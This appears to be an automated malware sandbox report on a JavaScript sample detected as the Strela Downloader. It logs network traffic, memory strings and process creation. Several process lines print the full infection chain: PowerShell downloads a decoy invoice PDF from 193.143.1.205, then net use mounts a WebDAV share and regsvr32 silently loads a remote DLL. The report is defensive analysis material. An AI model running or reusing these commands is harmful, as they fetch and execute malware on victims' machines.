Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: global traffic

TCP traffic: 192.168.2.10:49757 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49739 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1334619135.0000018412950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1407685811.00000226DD3FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3A8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1407685811.00000226DD3D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1407685811.00000226DD3DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.1407685811.00000226DD3A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2614444488.000002939B200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1392827580.000002939B400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7364, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22736232701915520651.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cn0h12a5.p0p.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 22736232701915520651.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1560,i,1449235303632292293,8659410901533919089,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1560,i,1449235303632292293,8659410901533919089,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
